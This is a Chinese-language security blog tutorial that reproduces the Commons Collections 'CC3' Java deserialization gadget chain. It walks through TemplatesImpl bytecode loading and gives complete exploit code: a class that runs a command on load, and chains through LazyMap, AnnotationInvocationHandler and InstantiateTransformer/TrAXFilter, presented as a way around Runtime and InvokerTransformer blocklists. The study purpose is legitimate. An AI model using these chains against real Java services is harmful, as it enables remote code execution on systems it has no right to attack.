Java反序列化CommonsCollections——CC3

Java反序列化CommonsCollections——CC3

前言

中招新冠修整了一段时间,不得不说这家伙威力还是挺猛的= =

今天来整理一下CC3,这条链子为什么单独拿出来讲呢?我们先前讲过的CC1和CC6都是通过Runtime.exec()进行命令执行,现实环境下很多企业会在黑名单中禁用Runtime,而CC3这条链子是通过动态加载类加载机制来实现自动代码执行

CC3链子分析

这里简单说一下,利用 ClassLoader.defineClass() 直接加载字节码的手段,这条小链子为:ClassLoader.loadClass() --> ClassLoader.findClass --> ClassLoader.defineClass,这里defineClass就是从字节里面加载一个类。当然我们知道,只做类加载的话是不会执行代码的,所以我们还需要一个初始化的地方,这里的DefineClassprotected的,所以我们还需要找到一个地方重写它并且public的地方。

image-20230113173719302

对这个defineClass find Usages,发现在Templateslmpl.TransletClassLoader调用了这个类,作用域是default,于是我们再这个包哪里调用了它

image-20230113173947880

在这个类的defineTransletClasses方法中发现调用了defineClass,这里实际上就是给类里一个属性classs赋值,于是就得到动态加载的class,但是由于这个方法也是private私有的,我们接着去找这个方法哪变成public

image-20230113174150110

找到了三个地方,前面两个都是直接把_class返回回来,返回回来那就需要后续的操作才能初始化。查看第三个,这个给_class赋完值之后调用了newInstance(),newInstance实际上是一个初始化的过程,也就是说如果我们走完了这个函数,就相当于能够动态的执行代码,所以这里我们重点关注这个函数,由于这个函数是私有的,我们接着往回找。

image-20230113180447407

往回找到了newTransformer,这个函数是public的,所以我们找到这差不多就可以停了,也就是说调用了newTransformer()就会调用它的getTransletInstance(),在getTransletInstance()里面满足代码逻辑之后调用newInstance()初始化的过程,这个类的赋值实际上是在defineTransletClasses里做的_class[i] = loader.defineClass(_bytecodes[i]);

image-20230113180932273

接着我们再来看看能newTransformer的这个类TemplatesImpl,这个类是可以序列化的,这点很方便

image-20230113190437359

name属性不能为空,_class需要为空,因为我们就希望它走到defineTransletClasses()

image-20230113193301408

接着我们跟进到defineTransletClasses()里,_bytecodes为空的话会抛异常,所以不能为空(参数是二维数组),同时_tfactory要调用方法,也需要赋值

image-20230113193521941

这里可以看到_tfactory是个TransformerFactoryImpl类型的东西,注意它是transient,不可以被序列化的变量,所以我们现在给他赋值没有意义,反序列化的时候不会被传进去的

image-20230113195154643

在它的readObjecy方法里可以看到_tfactory是怎么生成的

image-20230113195439605

于是我们先写个Exp,发现报错了,我们进入这个类断点调试一下

image-20230113204055471

发现是这里出了问题,如果这里spuceClass不喝这个预设的值相符会走到_auxClasses的put方法,因为_auxClasses是空的,所以肯定会报错。所以我们这里有两个解决思路:1、让superClass 的父类equalsABSTRACT_TRANSLET 2、设置_auxClasses 但是这里我们注意到下面还有一个判断,如果_transletIndex小于0会抛出异常,而上面看到_transletIndex的值就是-1,所以我们采用第一种解决方法

image-20230113203748515 image-20230113210110512

于是到我们的测试类中实现继承这个AbstractTranslet类,并且实现AbstractTranslet类中的抽象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

运行一下我们的Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class CC3Test {

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


templates.newTransformer();
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

运行成功,成功弹出计算器!

image-20230113225623279

整理一下思路,到目前为止就相当于实现了TemplatesImpl.newTransformer()defineClass->newInstance,也就是说只要我们运行了TemplatesImpl.newTransformer(),就相当于能够实现任意代码执行了。由于TemplatesImpl是可以序列化的public方法,我们可以在前面接上CC1或者CC6的链子。

image-20230114121403709

这就相当于换了一个代码执行的方法,这样子是非常有意义的一件事,因为黑名单可能只过滤了Runtime,利用的Exp如下:其实也就修改了执行代码的地方,前面的逻辑都不许要修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class CC3Test {

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
unserialize("ser.bin");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

执行代码,成功弹出计算器

image-20230114122932242

我们去看ysoserial官方的链子,发现他这边用的是InstantiateTransformer这个类,现实情况中有的可能会过滤Runtime,也有可能会过滤InvokerTransformer,不能用InvokerTransformer的话我们可以试试用InstantiateTransformer这个类,下面也去复现一下。

image-20230114122908466

所以接着去找调用newTransformer的地方,找到TrAXFilter这个类,看它的构造函数直接传入了一个templates,并且调用了templates的newTransformer,也就是说我们能够调用TrAXFilter的构造函数的话,也可以走下去进行代码执行,注意TrAXFilter这个类是不能序列化的,所以要从它的class入手。

image-20230114123946949

CC3的作者找到一个InstantiateTransformer类,这个类就是初始化Transformer,调用构造函数的,我们看一下的Transform方法,它是判断传进来的参数是不是class类型,如果是的话,获取它指定参数类型的构造器,然后调用它的构造函数,这里就完全符合我们前面说的条件。

image-20230114125432003

将CC1前半部分结合起来的Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class CC3Test {

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};


// 在这里就已经调用了TrAXFilter的构造方法了,构造方法里就调用了newTransformer
// instantiateTransformer.transform(TrAXFilter.class);

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
// serialize(invocationHandler);
unserialize("ser.bin");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结一下利用链

image-20230114153553530

后记

像反序列化这种链子通常是很长一条,但各部分又是相对独立的,切分成一块块的,我们写Exp的时候很多部分都可以把以前的直接拿过来用。就比如这个InstantiateTransformer可以用来替代InvokerTransformer。学完这条链子对这一点的感触颇深。

CC3的内容主要还是用到了TemplatesImpl这个类,这个类还是很重要的,实际上很多JDK的攻击链都用到了这个类,因为JDK里面动态加载的地方比较少,而这个类的本意应该是从XML里面类似创建一个对象的功能,正是因为这种动态的功能导致了后续可能的攻击利用。